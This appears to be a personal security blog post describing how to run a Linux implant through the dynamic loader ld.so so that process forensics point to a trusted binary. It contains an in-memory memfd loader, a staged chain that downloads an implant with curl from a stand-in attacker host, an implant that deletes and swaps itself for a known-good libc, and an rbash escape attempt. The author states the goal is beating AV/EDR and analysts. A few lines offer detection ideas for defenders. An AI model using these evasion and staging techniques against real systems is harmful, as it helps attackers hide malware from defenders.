# POST 20230526 : Command Execution Proxying on Linux ## Eli McRae @shyft --- I was looking for a way to execute linux shared object files *( .so files; analogous to dll files in windows) in a similar fashion to rundll32.exe on windows. ## TLDR you can proxy execution via `/lib64/ld-linux-x86-64.so.2 /path/to/malware` (hereafter `ld.so`) `ld-linux-x86-64.so.2` is replaced by `/path/to/malware` in memory, inherits the PID of `ld.so` via `execve()`(?) but `/proc/PID/exe` will still point to the path of `/lib64/ld-linux-x86-64.so.2` (which is symlinked to `/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2` on my ubuntu 23.04 machine) if you delete the binary after the loader loads it, the loaded binary is in memory with a pid and other forensic artifacts that point to a legitimate binary. see https://man7.org/linux/man-pages/man2/execve.2.html and https://jameshfisher.com/2017/02/05/how-do-i-use-execve-in-c/ for more on execve() see below for pulling a process from memory via /proc/pid/exe ***Eli from the future again again: this only seems to work on dynamically-linked binaries***. statically linked binaries (go-lang based sliver implant for instance) have the appropriate(forensically speaking) binary in `/proc/pid/exe`. See these - https://utcc.utoronto.ca/~cks/space/blog/programming/GoWhyNotStaticLinked - https://cujo.com/reverse-engineering-go-binaries-with-ghidra/ (for my use case) - https://mt165.co.uk/blog/static-link-go/ - https://github.com/BishopFox/sliver/wiki/External-Builders (for my use case) - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/memfd_python_interpreter_bin.nim (source of next two links) - https://0x00sec.org/t/super-stealthy-droppers/3715 (definitely interesting) - https://x-c3ll.github.io/posts/fileless-memfd_create/ --- ## UPDATE - 20230607 [Max Harley](https://0xdab0.medium.com/) of [SpecterOps](https://specterops.io/) blessed me with this code. Again, the point is to avoid leaving artifacts on disk or in memory. This ```c /* // this is the linux-BOF-like thing that will be loaded from memory in the demo below // this will be compiled and staged on the net somewhere. #include <stdio.h> int go(void) { printf("Hello from go!\n"); return 42; } */ ``` ```c // this is the poc for loading the code from a file descriptor from the current process. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <dlfcn.h> #include <sys/mman.h> int main(void) { // suspend disbelief and pretend that we are downloading these bytes over the internet. // 1. open lib.so int libfd = open("lib.so", O_RDONLY); if (libfd < 0) { perror("open"); exit(EXIT_FAILURE); } // 2. create an anonymous in-memory file int fd = memfd_create("libgo.so", MFD_CLOEXEC); if (fd < 0) { perror("memfd_create"); exit(EXIT_FAILURE); } // again suspend disblief // Imagine this buffer was grabbed over the net char buf[4096]; ssize_t n; while ((n = read(libfd, buf, sizeof(buf))) > 0) { if (write(fd, buf, n) != n) { perror("write"); exit(EXIT_FAILURE); } } close(libfd); // Build path to our new anonymous file char path[256]; snprintf(path, sizeof(path), "/proc/self/fd/%d", fd); // 3. use dlopen to load the shared library void *lib = dlopen(path, RTLD_NOW); if (!lib) { fprintf(stderr, "%s\n", dlerror()); exit(EXIT_FAILURE); } // 4. use dlsym to get the address of the "go" function int (*go_func)(void); *(void **) (&go_func) = dlsym(lib, "go"); // this looked similar to loading shellcode to me char *error; if ((error = dlerror()) != NULL) { fprintf(stderr, "%s\n", error); exit(EXIT_FAILURE); } // 5. call the "go" function if (go_func) { printf("go_func() = %d\n", go_func()); // run it. } else { printf("go_func is NULL\n"); } dlclose(lib); close(fd); // this can probably be closed after the data is loaded return 0; } ``` That quest led to this page -> https://stoppels.ch/2022/08/20/executable-shared-libraries.html which referenced that there are some shared libraries that are also executable files. I guess that I recalled this because I have always seen ELF associated with those shared object files. ```bash file test2.cpython-310-x86_64-linux-gnu.so test2.cpython-310-x86_64-linux-gnu.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped ``` Turns out you can use the shell to start another program via the program interpreter that the kernel uses... kind of like the shebang (`#!/bin/sh`) in a script. Which is related to another cool thing -> https://docs.kernel.org/admin-guide/binfmt-misc.html and https://0xdf.gitlab.io/2022/08/13/htb-retired.html#abuse-binfmt_misc as an example: ```bash ❯ file /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2: symbolic link to /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ❯ file /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=5bbeb16d20aeed35a6e0ee5c9407f8d0867fc554, stripped ❯ /lib64/ld-linux-x86-64.so.2 --help Usage: /lib64/ld-linux-x86-64.so.2 [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...] You have invoked 'ld.so', the program interpreter for dynamically-linked ELF programs. Usually, the program interpreter is invoked automatically when a dynamically-linked executable is started. You may invoke the program interpreter program directly from the command line to load and run an ELF executable file; this is like executing that file itself, but always uses the program interpreter you invoked, instead of the program interpreter specified in the executable file you run. Invoking the program interpreter directly provides access to additional diagnostics, and changing the dynamic linker behavior without setting environment variables (which would be inherited by subprocesses). ``` That's cool-ish. What I found more interesting is that my binary doesn't show up in ps -ef except as an arg to the shell program interpreter (ld.so). It's also worth noting that it also doesn't have to be marked as executable. similar to `bash ./script.sh #where script.sh has 664 permissions rw-rw-r--` so there's one less command you have to invoke (chmod +x yadayada; ./yadayada) You might say. **"so what. I can rename my binary ld-linux-x86-64 and it will show up in ps -ef as ld-linux-x86-64"** and you would be right but that's not the point. Also your hash wouldn't match the hash of the legitimate ld.so binary so there's that. This is about leveraging trust. It's also about confusing automated analysis tools. It's also confusing to a human analyst... at least for a little while. I'm sure this technique has been done before in an offensive tradcraft context but I haven't seen it. --- Back to this thing: So if my malware is downloaded to /dev/shm/somefile it's not really on disk but in a "ram disk" of sorts. lsof -p <pidof ld.so binary> will show a reference to /dev/shm/somefile It is mapped into memory under /proc/<pidof ld.so>/ and can be pieced together again from /proc/pid/map_files but it's not in one big chunk so it's somewhat obfuscated. ``` ~/Dropbox/code/new_linux_evasion_exeution_proxy   INT ✘  took 1m 52s  base Py  at 11:34:13 ❯ head -c 1024 libc.so.6| md5sum 7cac4ecde546afece84a6afe93fae74f - ``` the memory map files; need to be root to examine them. ``` ∅ /proc/3760099/map_files   1|0 ✔  base Py  at 11:33:50 ❯ sudo head -c 1024 7f7fbee20000-7f7fbee21000 | md5sum [sudo] password for shyft: 7cac4ecde546afece84a6afe93fae74f - ``` The shell program interpreter (ld.so) passes execution to the new image via the exec family of functions. -> https://pubs.opengroup.org/onlinepubs/9699919799/functions/exec.html This stackoverflow sums up this whole exercise in one of the answers -> https://unix.stackexchange.com/a/400622 references using the split command for execution proxying but not this one -> https://attack.mitre.org/techniques/T1218/ info on where and how to look for memory artifacts of execution on linux. https://www.crowdstrike.com/blog/how-to-extract-memory-information-to-spot-linux-malware/ ### A potential exploit chain cat hacktheplanet.c ```c #include <stdlib.h> #include <dlfcn.h> #include<stdio.h> #include <unistd.h> #include <time.h> int main(int argc, char* argv[] ){ system("rm /dev/shm/libc.so.6 && cp /lib/x86_64-linux-gnu/libc.so.6 /dev/shm/libc.so.6"); while(1){ printf("hack the planet\n"); fflush(0); sleep(5); } return 0; } ``` `gcc -o libc.so.6 hacktheplanet.c ` ``` ❯ md5sum libc.so.6 7418e5407e624bc2aa2127e56383125b libc.so.6 ``` - stage0 or stage1 - get code exec somehow. - download stage2 implant to box - ```bash curl https://badsite.com/libc.so.6 -o /dev/shm/libc.so.6 # common name to see in linux. could be anything ``` - how could this be done without writing to /dev/shm? - kind of like a download cradle in bash but for binaries? - Eli from the future: I recalled that john hammond has a video on this -> https://www.youtube.com/watch?v=Y_HtYvD9-mA - turns out he explores these concepts in the video... and I should have recalled that before writing this whole thing. - Eli from the future again: this looks promising -> https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md#System_Calls - proxy execution of the stage2 binary with legitimate binary - ```bash /lib64/ld-linux-x86-64.so.2 /dev/shm/libc.so.6 # again this is only a cheesy obfuscation of the name to throw off defenders...``` - ```bash ❯ /lib64/ld-linux-x86-64.so.2 /dev/shm/libc.so.6 hack the planet hack the planet ...more of the same... ``` - **Eli from the future: also replace the binary with something known. Modified the code above to include this.** - first act of stage2 implant (`libc.so.6`) is to remove itself from disk (shared memory disk in this case) and swap it for a known good binary - `system("rm /dev/shm/libc.so.6 && cp /lib/x86_64-linux-gnu/libc.so.6 /dev/shm/libc.so.6");` Now it's purely in memory with the pid of a legitimate and generally trusted binary. When an analyst inspects either file (`ld-linux-x86-64.so.2` or `/dev/shm/libc.so.6`) they now match in hash and name of known good binaries. example: ```bash /lib64/ld-linux-x86-64.so.2 /dev/shm/libc.so.6 hack the planet hack the planet ``` ```bash ps -ef | grep libc.so.6 shyft 3785713 2986346 0 12:15 pts/2 00:00:00 /lib64/ld-linux-x86-64.so.2 /dev/shm/libc.so.6 ``` ```bash rm /dev/shm/libc.so.6 ll /proc/3785713/map_files total 0 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071a00000-7f8071a22000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071a22000-7f8071b9a000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071b9a000-7f8071bf2000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071bf2000-7f8071bf6000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071bf6000-7f8071bf8000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071ced000-7f8071cee000 -> '/dev/shm/libc.so.6 (deleted)' lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cee000-7f8071cef000 -> '/dev/shm/libc.so.6 (deleted)' lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cef000-7f8071cf0000 -> '/dev/shm/libc.so.6 (deleted)' lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cf0000-7f8071cf1000 -> '/dev/shm/libc.so.6 (deleted)' lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cf1000-7f8071cf2000 -> '/dev/shm/libc.so.6 (deleted)' lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cf2000-7f8071cf3000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071cf3000-7f8071d1b000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071d1b000-7f8071d25000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071d25000-7f8071d27000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 lr-------- 1 shyft shyft 64 May 26 12:17 7f8071d27000-7f8071d29000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ``` ```bash lsof -p 3785713 lsof: WARNING: can't stat() tmpfs file system /run/snapd/ns Output information may be incomplete. lsof: WARNING: can't stat() nsfs file system /run/snapd/ns/firefox.mnt Output information may be incomplete. COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME ld-linux- 3785713 shyft cwd DIR 253,1 4096 23486312 /home/shyft/Dropbox/code/new_linux_evasion_exeution_proxy ld-linux- 3785713 shyft rtd DIR 253,1 4096 2 / ld-linux- 3785713 shyft txt REG 253,1 224376 63308719 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ld-linux- 3785713 shyft mem REG 253,1 2072888 63311145 /usr/lib/x86_64-linux-gnu/libc.so.6 ld-linux- 3785713 shyft DEL REG 0,26 440772 /dev/shm/libc.so.6 ld-linux- 3785713 shyft 0u CHR 136,2 0t0 5 /dev/pts/2 ld-linux- 3785713 shyft 1u CHR 136,2 0t0 5 /dev/pts/2 ld-linux- 3785713 shyft 2u CHR 136,2 0t0 5 /dev/pts/2 ld-linux- 3785713 shyft 44r a_inode 0,14 0 59 inotify ``` --- The the IOC here is that you have a binary running in memory that is not on disk. Trying to think about how to quicky detect this. I think you could do something like this: ```bash sudo ls -LaR /proc | grep "(deleted)" ``` Shoutout to [@JoshOps](https://twitter.com/joshops) of Arkansas Hackers discord (https://krime.life) He told me about recovering a deleted binary from memory several years ago via `/proc/pid/exe` which is a cool trick but it doesn't seem to capture this case. Normally you could `cp /proc/pid/exe > /tmp/recovered` but, as mentioned, it points to the wrong binary. These links give history/perspective on /proc fs and the symlinks therein -> https://unix.stackexchange.com/a/197901 and https://unix.stackexchange.com/questions/342401/how-to-recover-the-deleted-binary-executable-file-of-a-running-process ```bash ∅ /proc/3785713   base Py  at 12:54:47 ❯ head -c 1024 exe| md5sum 8811ea7671f6ecec3619c975e41b03ae - ❯ file exe exe: symbolic link to /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 # symlink to a known/generally trusted linux binary. ❯ head -c 1024 libc.so.6| md5sum # my malware 7cac4ecde546afece84a6afe93fae74f - ``` Don't know if is needed but it does show that the binary isn't elsewhere in memory in isn't in another process or has its own pid. ```bash ∅ /proc   INT|INT ✘  took 4s  base Py  at 13:07:09 ❯ tree 2>&1| grep -50 /dev/shm/libc │   └── wchan ├── 3785713 │   ├── arch_status │   ├── attr │   │   ├── apparmor │   │   │   ├── current │   │   │   ├── exec │   │   │   └── prev │   │   ├── current │   │   ├── exec │   │   ├── fscreate │   │   ├── keycreate │   │   ├── prev │   │   ├── smack │   │   │   └── current │   │   └── sockcreate │   ├── autogroup │   ├── auxv │   ├── cgroup │   ├── clear_refs │   ├── cmdline │   ├── comm │   ├── coredump_filter │   ├── cpu_resctrl_groups │   ├── cpuset │   ├── cwd -> /home/shyft/Dropbox/code/new_linux_evasion_exeution_proxy │   ├── environ │   ├── exe -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   ├── fd │   │   ├── 0 -> /dev/pts/2 │   │   ├── 1 -> /dev/pts/2 │   │   ├── 2 -> /dev/pts/2 │   │   └── 44 -> anon_inode:inotify │   ├── fdinfo │   │   ├── 0 │   │   ├── 1 │   │   ├── 2 │   │   └── 44 │   ├── gid_map │   ├── io │   ├── ksm_merging_pages │   ├── ksm_stat │   ├── limits │   ├── loginuid │   ├── map_files │   │   ├── 7f8071a00000-7f8071a22000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 │   │   ├── 7f8071a22000-7f8071b9a000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 │   │   ├── 7f8071b9a000-7f8071bf2000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 │   │   ├── 7f8071bf2000-7f8071bf6000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 │   │   ├── 7f8071bf6000-7f8071bf8000 -> /usr/lib/x86_64-linux-gnu/libc.so.6 │   │   ├── 7f8071ced000-7f8071cee000 -> /dev/shm/libc.so.6 (deleted) │   │   ├── 7f8071cee000-7f8071cef000 -> /dev/shm/libc.so.6 (deleted) │   │   ├── 7f8071cef000-7f8071cf0000 -> /dev/shm/libc.so.6 (deleted) │   │   ├── 7f8071cf0000-7f8071cf1000 -> /dev/shm/libc.so.6 (deleted) │   │   ├── 7f8071cf1000-7f8071cf2000 -> /dev/shm/libc.so.6 (deleted) │   │   ├── 7f8071cf2000-7f8071cf3000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   │   ├── 7f8071cf3000-7f8071d1b000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   │   ├── 7f8071d1b000-7f8071d25000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   │   ├── 7f8071d25000-7f8071d27000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   │   └── 7f8071d27000-7f8071d29000 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 │   ├── maps ``` So the binary is still running, but it doesn't seem to be as trivial a task to access. I believe you could freeze a VM and extract strings and such from memory. You likely could get the whole thing from the snapshot. The real goal is to beat the AV/EDR/automated analysis. If you fail that task, hopefully this will help you beat the tier 1 SOC analyst so they will suppress the alert to hide their same... to test the pid obfuscation thing: getpid.c ```c #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <time.h> int main(void){ while(1){ pid_t thisPID = getpid(); pid_t parentPID = getppid(); printf("PID of current process: %d\n", thisPID); printf("PID of parent process: %d\n", parentPID); sleep(5); } return 0; } ``` Now run the program to get the PIDs involved ```bash gcc -o getpid getpid.c && /lib64/ld-linux-x86-64.so.2 ./getpid PID of current process: 3841474 PID of parent process: 3828925 PID of current process: 3841474 PID of parent process: 3828925 PID of current process: 3841474 ``` ```bash ∅ /proc/3828925   base Py  at 13:50:17 ❯ ll total 0 -r--r--r-- 1 shyft shyft 0 May 26 13:50 arch_status dr-xr-xr-x 2 shyft shyft 0 May 26 13:50 attr -rw-r--r-- 1 shyft shyft 0 May 26 13:50 autogroup -r-------- 1 shyft shyft 0 May 26 13:50 auxv -r--r--r-- 1 shyft shyft 0 May 26 13:50 cgroup --w------- 1 shyft shyft 0 May 26 13:50 clear_refs -r--r--r-- 1 shyft shyft 0 May 26 13:28 cmdline -rw-r--r-- 1 shyft shyft 0 May 26 13:50 comm -rw-r--r-- 1 shyft shyft 0 May 26 13:50 coredump_filter -r--r--r-- 1 shyft shyft 0 May 26 13:50 cpu_resctrl_groups -r--r--r-- 1 shyft shyft 0 May 26 13:50 cpuset lrwxrwxrwx 1 shyft shyft 0 May 26 13:28 cwd -> /home/shyft/Dropbox/code/new_linux_evasion_exeution_proxy -r-------- 1 shyft shyft 0 May 26 13:28 environ lrwxrwxrwx 1 shyft shyft 0 May 26 13:28 exe -> /usr/bin/zsh ...snipped... ∅ /proc/3841474   base Py  at 13:49:38 ❯ ll total 0 -r--r--r-- 1 shyft shyft 0 May 26 13:49 arch_status dr-xr-xr-x 2 shyft shyft 0 May 26 13:49 attr -rw-r--r-- 1 shyft shyft 0 May 26 13:49 autogroup -r-------- 1 shyft shyft 0 May 26 13:49 auxv -r--r--r-- 1 shyft shyft 0 May 26 13:49 cgroup --w------- 1 shyft shyft 0 May 26 13:49 clear_refs -r--r--r-- 1 shyft shyft 0 May 26 13:49 cmdline -rw-r--r-- 1 shyft shyft 0 May 26 13:49 comm -rw-r--r-- 1 shyft shyft 0 May 26 13:49 coredump_filter -r--r--r-- 1 shyft shyft 0 May 26 13:49 cpu_resctrl_groups -r--r--r-- 1 shyft shyft 0 May 26 13:49 cpuset lrwxrwxrwx 1 shyft shyft 0 May 26 13:49 cwd -> /home/shyft/Dropbox/code/new_linux_evasion_exeution_proxy -r-------- 1 shyft shyft 0 May 26 13:49 environ lrwxrwxrwx 1 shyft shyft 0 May 26 13:49 exe -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ...snipped... ``` You can see my `zsh` and `/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2` are the pids associated with my implant (getpid.c). If someone goes poking at ld.so they will see an otherwise legit binary. Somewhat related; I was watching another video that said you might consider not persisting at all if it is easy/safe to re-exploit the box. That way your artifacts have to be obtained from memory. ## Eli from the future again: Simpsons did it... https://gtfobins.github.io/gtfobins/ld.so/ They didn't mention anything about the pid thing though so I made a PR https://github.com/GTFOBins/GTFOBins.github.io/pull/390 --- In looking at this I thought I found a novel escape for a rbash session via below but I think I was wrong (or at least I convinced myself that my rbash restrictions are too weak) `echo "/lib64/ld-linux-x86-64.so.2 /path/to/bin" | bash` with the basic rbash setup you can't invoke commands with an absolute or relative path. you can't cd either. this method pipes the command to a different bash proccesses stdin or simply `echo "cat /etc/passwd" | bash ` **All of that is a stupid exercise because you could just type `bash` and regain the ability to cd or invoke programs via absolute paths (again, with the stock rbash experience)... shut up, Eli...**